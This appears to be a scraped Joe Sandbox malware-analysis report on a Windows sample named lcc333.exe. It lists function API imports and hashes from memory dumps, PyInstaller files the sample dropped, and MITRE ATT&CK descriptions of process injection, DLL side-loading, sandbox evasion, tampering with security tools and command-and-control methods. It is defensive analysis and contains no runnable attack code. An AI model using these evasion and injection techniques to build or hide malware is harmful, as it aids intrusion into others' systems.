Opcode Fuzzy Hash: e7c047b6dfc3a84bf1a64fb7f470dfa50d53984dee624b4709404c8b2a72aeb6
Instruction Fuzzy Hash: 43114772604A81C2E712CF66F8007DA77A1F3C8BD4F588122EB495B669CF39C9468780

Function 0000000140003040 Relevance: 6.0, APIs: 4, Instructions: 47filetimeCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,00000000,?,?,00000001400075EF), ref: 0000000140003071
CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140007816), ref: 00000001400030A1
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140007816), ref: 00000001400030BC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140007816), ref: 00000001400030C7

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: File$AttributesCloseCreateHandleTime
String ID:
API String ID: 1550419386-0
Opcode ID: 063cfadb91479f2fc7e7753d12c16e99722c77a058438f136c659625808421c6
Instruction ID: 348b5e4cb04dc36cba599894ec3b29f7965973e3e5b7ae58714e3626ef2f48f6
Opcode Fuzzy Hash: 063cfadb91479f2fc7e7753d12c16e99722c77a058438f136c659625808421c6
Instruction Fuzzy Hash: ED01617270478087E711DF57B840B4AB6A5F788BE4F444229FFA947BA4CF3CC4458A00

Function 0000000140001754 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 000000014000176C
GlobalSize.KERNEL32 ref: 0000000140001776
GlobalUnlock.KERNEL32 ref: 0000000140001782
memset.MSVCRT ref: 00000001400017A5

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Global$LockSizeUnlockmemset
String ID:
API String ID: 4280295638-0
Opcode ID: fdc3a48def9e19fda21e5e5cbad33837b27fb43505b1143f80bd41de1e41ef10
Instruction ID: a822b221c0c26ee8a8a71456cd6e132ec993c4c579ad991a0f0eab173df7336c
Opcode Fuzzy Hash: fdc3a48def9e19fda21e5e5cbad33837b27fb43505b1143f80bd41de1e41ef10
Instruction Fuzzy Hash: 0F01E576604A40C2DB629F2AE4547D9B3B1F7C8FC9F188112EB5E47664CE39C995CB40

Function 000000014000573C Relevance: 6.0, APIs: 4, Instructions: 22sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000000140005750
WaitForSingleObject.KERNEL32 ref: 0000000140005766
CloseHandle.KERNEL32 ref: 000000014000576F
Sleep.KERNEL32 ref: 000000014000577C

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: CloseHandleObjectOpenProcessSingleSleepWait
String ID:
API String ID: 3687349101-0
Opcode ID: 895f0628ff3e9e8bd9fe4367de51977ea2beda561ab88b4fe394796040880853
Instruction ID: 09760b2e1178fdc696ffb32a1977e8c57a8f8849adf20b086b8091a4597bdc5a
Opcode Fuzzy Hash: 895f0628ff3e9e8bd9fe4367de51977ea2beda561ab88b4fe394796040880853
Instruction Fuzzy Hash: FDE04F7474960593FF5EA7677814BB612619B8EBC7F084028AF4E0B7B0DE3984858B00

Function 00000001400048B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_mbsicmp.MSVCRT ref: 000000014000493E
memset.MSVCRT ref: 000000014000497B

Strings

, xrefs: 000000014000498D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _mbsicmpmemset
String ID:
API String ID: 2422848218-3916222277
Opcode ID: 09275a1d8774a47eec2c496bc2ca5a3d92bcdea1488a9d49fd0accf56bbba072
Instruction ID: f6fcc08f7c0357ba0270faa8758687ed5cf4e14fc01418392d579a45a0130fec
Opcode Fuzzy Hash: 09275a1d8774a47eec2c496bc2ca5a3d92bcdea1488a9d49fd0accf56bbba072
Instruction Fuzzy Hash: 2141ABB3604680CAE7A5CF26F440B9EB7A1F788788F054025FB8947A9AEB79C455CB04

Function 0000000140004400 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32 ref: 0000000140004420

Part of subcall function 0000000140002A2C: free.MSVCRT ref: 0000000140002A53

memcpy.MSVCRT ref: 0000000140004472

Strings

H, xrefs: 0000000140004418

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: InfoMonitorfreememcpy
String ID: H
API String ID: 237967243-2852464175
Opcode ID: 2b914d181b0e730d9184c15c5d82e3fe0ddd730052b989bbfa29edc9095389b1
Instruction ID: fb3c937363408fb5f05511fcd611642e4ed32da75759190e007c904ce70b8885
Opcode Fuzzy Hash: 2b914d181b0e730d9184c15c5d82e3fe0ddd730052b989bbfa29edc9095389b1
Instruction Fuzzy Hash: 6D015AB2314B8093EB10CF25E180799B760F7587C4F408025AB9907A5ACB78D568CB40

Function 0000000140011F14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000000140011F30
GetProcAddress.KERNEL32 ref: 0000000140011F48

Strings

netapi32.dll, xrefs: 0000000140011F29

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: netapi32.dll
API String ID: 2574300362-1182877548
Opcode ID: b052ba7497111277b3ba21765acb3b39545183616084ba34677739d019605dc2
Instruction ID: 08c6805928ab132929a5ff331c87147411356703df2278827d3c9356ee2857c7
Opcode Fuzzy Hash: b052ba7497111277b3ba21765acb3b39545183616084ba34677739d019605dc2
Instruction Fuzzy Hash: 2CE0ECB4706A0081FE5B8B17AC947E123B0AB9CBC0F480039AA0E0F371EB3E84958310

Analysis Process: app_process.exePID: 6444, Parent PID: 3176COMMON

Non-executed Functions

Function 00007FF791E3F7F4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF791E3F820
GetCurrentThreadId.KERNEL32 ref: 00007FF791E3F82E
GetCurrentProcessId.KERNEL32 ref: 00007FF791E3F83A
QueryPerformanceCounter.KERNEL32 ref: 00007FF791E3F84A

Memory Dump Source

Source File: 00000012.00000002.3347366050.00007FF791A01000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF791A00000, based on PE: true

Associated: 00000012.00000002.3346991182.00007FF791A00000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.3348387189.00007FF791F5C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.3348802165.00007FF791FA4000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.3348861127.00007FF791FA7000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.3348897695.00007FF791FAB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.3348954750.00007FF791FE0000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff791a00000_app_process.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7c4c42bf022f1d95684a38cd7526c40398a2ddc7fb0ff33f78299e85158657c0
Instruction ID: d862ab69570fb393247bf12a49ce0ebd2995e361177c2f40a0e8fb3f0ebcda5c
Opcode Fuzzy Hash: 7c4c42bf022f1d95684a38cd7526c40398a2ddc7fb0ff33f78299e85158657c0
Instruction Fuzzy Hash: A8118C36B05B058AEB10AF70E8542B873A0FB09758F841A30EA2D427A4DFBCD0648350

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lcc333.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI6122\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip

C:\Users\user\AppData\Local\Temp\_MEI6122\certifi\cacert.pem

C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\libcrypto-3.dll

C:\Users\user\AppData\Local\Temp\_MEI6122\libssl-3.dll

C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll

C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd

C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd

Windows Analysis Report
lcc333.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre